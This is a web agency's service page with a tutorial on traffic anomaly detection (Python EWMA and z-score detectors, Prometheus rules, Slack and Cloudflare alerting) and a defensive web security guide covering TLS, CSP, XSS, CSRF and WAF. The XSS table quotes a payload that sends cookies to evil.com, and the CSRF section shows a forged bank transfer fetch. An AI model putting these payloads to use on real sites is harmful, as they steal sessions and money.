Traffic Anomaly Detection: EWMA, Prometheus, Alerts

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Showing 1 of 1All 2062 services
Traffic Anomaly Detection: EWMA, Prometheus, Alerts
Complex
~5 days
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1358
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    956
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    947

Traffic Anomaly Detection: EWMA, Prometheus, Alerts

Imagine: on Thursday evening, /api/checkout suddenly gets a spike of 500 errors. Monitoring stays silent because the static threshold isn't breached — the peak is only 30% of the daily max (just 300 requests per second instead of 1000). Three hours later you notice the problem from customer complaints. Or another scenario: a scraper starts hammering the catalog, sending 10,000 requests per minute — a standard rate limit doesn't trigger because the traffic is distributed across IPs. We deploy a traffic anomaly detection system that spots such spikes within 5 seconds and sends an alert to Slack. No false positives on seasonal peaks. We have 10+ years of experience building monitoring systems and have implemented over 50 anomaly detection projects. For example, with a client that has 50,000 unique visitors per day, we reduced detection time from 3 hours to 5 seconds. Savings from implementation can run into tens of thousands of dollars per year by cutting downtime. Get an engineer's consultation to tune thresholds for your traffic.

How Traffic Anomaly Detection Works

Our detector combines two statistical methods: EWMA (Exponentially Weighted Moving Average) and z-score on a sliding window. The first adapts to trends, the second catches sharp outliers. According to EWMA, it's an exponential smoothing method. We wrap this into a service that collects metrics in real-time via Redis, analyzes every minute, and sends alerts with automatic mitigation. Detection time is reduced by 99% compared to manual log analysis.

Why Standard Monitoring Systems Fall Short

Typical Zabbix or Nagios use static thresholds. They give false positives on traffic peaks during sales hours and miss slow leaks. Our system is adaptive: it adjusts to seasonality and trends. We tune sensitivity individually for your traffic profile, using historical data from 2–4 weeks. For example, during Black Friday, we automatically raise thresholds to avoid false alerts. This allowed one client to reduce incident response time from 2 hours to 10 minutes.

How the Anomaly Detection System Is Built

We combine EWMA and z-score on a sliding window. EWMA responds faster to trends, z-score catches sharp outliers better. For long-term baselines we use Prometheus with quantile-based rules. The detector is written in Python but can be ported to Go for high-load systems (10,000+ RPS).

What Counts as an Anomaly?

We identify three types of anomalies:

  • Volume: RPS, bandwidth, number of unique IPs rise sharply (e.g., from 100 to 5000 in a minute).
  • Structural: ratio of HTTP methods changes (e.g., a sharp rise in GET when the norm is 70/30 GET/POST), increase in requests to specific endpoints.
  • Quality: error rate 4xx/5xx rises, p99 latency breaks historical norm, increase in 404 ratio (scanning).
Anomaly Type Signs Example Scenario
Volume RPS > 3σ, bandwidth > 2σ Scraping, DDoS attack
Structural Ratio of methods changes, endpoints Spam bots, vulnerability scanning
Quality Error rate > 10%, p99 > 2s Backend failure, resource leak

Method Comparison

Method Sensitivity to Outliers Sensitivity to Trends False Positives Resources
Z-score (sliding window) High Low Medium Low
EWMA Medium High Low Low
Prometheus rules (avg_over_time) Medium Medium Medium Medium
Machine Learning (Isolation Forest) High High Low High

Which Statistical Methods Are Used?

Statistical Detection Methods

import numpy as np
from collections import deque
import time

class TrafficAnomalyDetector:
    def __init__(self, window_size=60, sensitivity=3.0):
        """
        window_size: size of the sliding window in points (seconds/minutes)
        sensitivity: threshold in sigmas (z-score)
        """
        self.window_size = window_size
        self.sensitivity = sensitivity
        self.metrics = {}  # {metric_name: deque of values}

    def _get_window(self, metric: str) -> deque:
        if metric not in self.metrics:
            self.metrics[metric] = deque(maxlen=self.window_size)
        return self.metrics[metric]

    def add_point(self, metric: str, value: float):
        """Add a new data point"""
        self.metrics.setdefault(metric, deque(maxlen=self.window_size)).append(value)

    def check(self, metric: str, current_value: float) -> dict:
        """Check if the current value is an anomaly"""
        window = self._get_window(metric)

        if len(window) < 10:
            # Not enough data
            return {'anomaly': False, 'reason': 'insufficient_data'}

        values = list(window)
        mean = np.mean(values)
        std = np.std(values)

        if std == 0:
            z_score = 0 if current_value == mean else float('inf')
        else:
            z_score = abs(current_value - mean) / std

        is_anomaly = z_score > self.sensitivity
        direction = 'spike' if current_value > mean else 'drop'

        return {
            'anomaly': is_anomaly,
            'z_score': round(z_score, 2),
            'direction': direction if is_anomaly else None,
            'current': current_value,
            'baseline_mean': round(mean, 2),
            'baseline_std': round(std, 2),
            'threshold': round(mean + self.sensitivity * std, 2)
        }

Exponential Weighted Moving Average (EWMA)

Better at responding to trends, not sensitive to single outliers:

class EWMADetector:
    def __init__(self, alpha=0.1, k=3.0):
        """
        alpha: smoothing factor (0.05–0.2)
        k: number of standard deviations for threshold
        """
        self.alpha = alpha
        self.k = k
        self.ewma = {}   # {metric: {'mean': float, 'variance': float}}

    def update_and_check(self, metric: str, value: float) -> dict:
        if metric not in self.ewma:
            self.ewma[metric] = {'mean': value, 'variance': 0}
            return {'anomaly': False}

        state = self.ewma[metric]
        mean = state['mean']
        variance = state['variance']

        # Update EWMA mean and variance
        new_mean = self.alpha * value + (1 - self.alpha) * mean
        new_variance = (1 - self.alpha) * (variance + self.alpha * (value - mean) ** 2)

        state['mean'] = new_mean
        state['variance'] = new_variance

        std = np.sqrt(new_variance) if new_variance > 0 else 0
        threshold_high = new_mean + self.k * std
        threshold_low = max(0, new_mean - self.k * std)

        is_anomaly = value > threshold_high or value < threshold_low

        return {
            'anomaly': is_anomaly,
            'direction': 'spike' if value > threshold_high else 'drop',
            'current': value,
            'expected': round(new_mean, 2),
            'threshold_high': round(threshold_high, 2),
            'deviation_pct': round(abs(value - new_mean) / max(new_mean, 1) * 100, 1)
        }

Real-Time Metrics Collection

import redis
from datetime import datetime
import threading

class MetricsCollector:
    def __init__(self, redis_client):
        self.r = redis_client
        self.detector = EWMADetector(alpha=0.1, k=3.5)
        self.alert_cooldown = {}  # prevent alert spam

    def record_request(self, status_code: int, path: str,
                       latency_ms: float, method: str):
        """Called in middleware for each request"""
        now = int(time.time())
        minute = now - (now % 60)

        pipe = self.r.pipeline()

        # RPS counter
        pipe.incr(f"metrics:rps:{now}")
        pipe.expire(f"metrics:rps:{now}", 300)

        # Errors
        if status_code >= 400:
            pipe.incr(f"metrics:errors:{now}")
            pipe.expire(f"metrics:errors:{now}", 300)

        # Latency (histogram in Redis)
        latency_bucket = int(latency_ms / 100) * 100
        pipe.hincrby(f"metrics:latency:{minute}", str(latency_bucket), 1)
        pipe.expire(f"metrics:latency:{minute}", 3600)

        # Endpoint counter
        endpoint = f"{method}:{path.split('?')[0][:50]}"
        pipe.hincrby(f"metrics:endpoints:{minute}", endpoint, 1)
        pipe.expire(f"metrics:endpoints:{minute}", 3600)

        pipe.execute()

    def analyze_current_window(self):
        """Analyze the last 60 seconds and return anomalies"""
        now = int(time.time())
        anomalies = []

        # Collect RPS for the last 60 seconds
        rps_values = []
        for i in range(60):
            t = now - i
            val = self.r.get(f"metrics:rps:{t}")
            rps_values.append(int(val or 0))

        current_rps = rps_values[0]

        # Update detector with historical data
        for v in reversed(rps_values[1:]):
            self.detector.update_and_check('rps', v)

        result = self.detector.update_and_check('rps', current_rps)
        if result['anomaly']:
            anomalies.append({
                'metric': 'rps',
                'severity': 'high' if result['deviation_pct'] > 200 else 'medium',
                **result
            })

        # Error rate
        total = sum(rps_values[:60]) or 1
        error_keys = [self.r.get(f"metrics:errors:{now-i}") for i in range(60)]
        total_errors = sum(int(v or 0) for v in error_keys)
        error_rate = total_errors / total

        err_result = self.detector.update_and_check('error_rate', error_rate)
        if err_result['anomaly'] and error_rate > 0.1:
            anomalies.append({
                'metric': 'error_rate',
                'severity': 'critical' if error_rate > 0.3 else 'high',
                **err_result
            })

        return anomalies

Alerting and Automatic Mitigation

class AnomalyAlertManager:
    def __init__(self, slack_webhook, pagerduty_key):
        self.slack = slack_webhook
        self.pd = pagerduty_key
        self.active_incidents = {}

    def handle_anomalies(self, anomalies: list):
        for anomaly in anomalies:
            key = f"{anomaly['metric']}_{anomaly['direction']}"

            # Cooldown: don't spam the same alert
            if self.active_incidents.get(key, 0) > time.time() - 300:
                continue

            self.active_incidents[key] = time.time()

            if anomaly['severity'] == 'critical':
                self._page_oncall(anomaly)
                self._auto_mitigate(anomaly)
            elif anomaly['severity'] == 'high':
                self._notify_slack(anomaly)

    def _notify_slack(self, anomaly: dict):
        import requests
        icon = ':rotating_light:' if anomaly['direction'] == 'spike' else ':arrow_down:'
        requests.post(self.slack, json={
            'text': f"{icon} *Traffic anomaly detected*\n"
                    f"Metric: `{anomaly['metric']}`\n"
                    f"Current: `{anomaly['current']}` (expected: `{anomaly['expected']}`)\n"
                    f"Deviation: `+{anomaly['deviation_pct']}%`\n"
                    f"Z-score: `{anomaly.get('z_score', 'N/A')}`"
        })

    def _auto_mitigate(self, anomaly: dict):
        """Automatic protective actions for critical anomalies"""
        if anomaly['metric'] == 'rps' and anomaly['direction'] == 'spike':
            # Enable emergency rate limit
            redis.setex('emergency_rate_limit', 300, '50')  # 50 req/s globally
            # Notify Cloudflare to enable Under Attack Mode via API
            self._enable_cloudflare_attack_mode()

    def _enable_cloudflare_attack_mode(self):
        import requests
        requests.patch(
            f"https://api.cloudflare.com/client/v4/zones/{CF_ZONE_ID}/settings/security_level",
            headers={'Authorization': f'Bearer {CF_API_TOKEN}'},
            json={'value': 'under_attack'}
        )

Prometheus + Grafana Alerting

# prometheus/alerts.yml
groups:
  - name: traffic_anomalies
    rules:
      - alert: RequestRateSpike
        expr: |
          rate(http_requests_total[1m]) >
          (avg_over_time(rate(http_requests_total[1m])[1h:1m]) * 3)
        for: 2m
        labels:
          severity: critical
        annotations:
          summary: "Request rate spike: {{ $value }} req/s"

      - alert: ErrorRateCritical
        expr: |
          rate(http_requests_total{status=~"5.."}[5m]) /
          rate(http_requests_total[5m]) > 0.1
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Error rate {{ $value | humanizePercentage }}"

      - alert: LatencyP99Spike
        expr: |
          histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) > 2
        for: 3m
        labels:
          severity: high
        annotations:
          summary: "P99 latency {{ $value }}s"

How to Integrate the Detector into Your Existing Infrastructure

We connect to any metric sources: Prometheus, StatsD, Cloudflare Analytics, nginx logs. We support export to OpenMetrics and OpenTelemetry formats. For quick integration, we provide ready Docker Compose and Terraform configs. The entire process takes 1 to 3 days depending on stack complexity. Get an engineer's consultation to adapt to your stack.

How to Implement the Anomaly Detector: Step-by-Step Guide

  1. Audit current infrastructure. We collect historical metric and log data for 2–4 weeks, analyze traffic profile.
  2. Select algorithm and tune thresholds. We set EWMA parameters (alpha 0.05–0.2) and z-score (k 3–5) for your stack.
  3. Integrate with metric sources. Deploy the collector on Redis/Prometheus, connect log aggregator.
  4. Configure alerts and auto-mitigation. Set up channels (Slack, PagerDuty, Telegram) and automatic protection scripts (Cloudflare Under Attack Mode, rate limiting).
  5. Test and launch. Prototype on 1 week of data, formal testing, and activation in production.

Common Implementation Mistakes

A frequent issue is incorrect window size. A too-small window causes many false positives, a too-large window misses fast anomalies. We select the window size individually, analyzing daily and weekly cycles. Another typical mistake is ignoring seasonality (e.g., Black Friday). Our detector uses historical data from similar periods.

What's Included in the Work

  • Diagnostics: analysis of current metrics and logs, threshold selection.
  • Implementation: detector code (Python, Go, or Lua), Prometheus rules configuration.
  • Integration: Slack, PagerDuty, Telegram, Cloudflare API.
  • Documentation: algorithm description, deployment instructions, playbook scenarios.
  • Training: how to configure and retrain the detector for traffic changes.
  • Support: 2 weeks post-production guarantee (SLA on response time).

Timeline and Cost

Turnkey implementation takes 3 to 5 business days depending on infrastructure complexity. Pricing is determined individually after an audit. Implementation savings can amount to tens of thousands of dollars per year by cutting detection time by 99% and reducing downtime by up to 80%. Contact us for a consultation and receive a free audit of your monitoring system.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.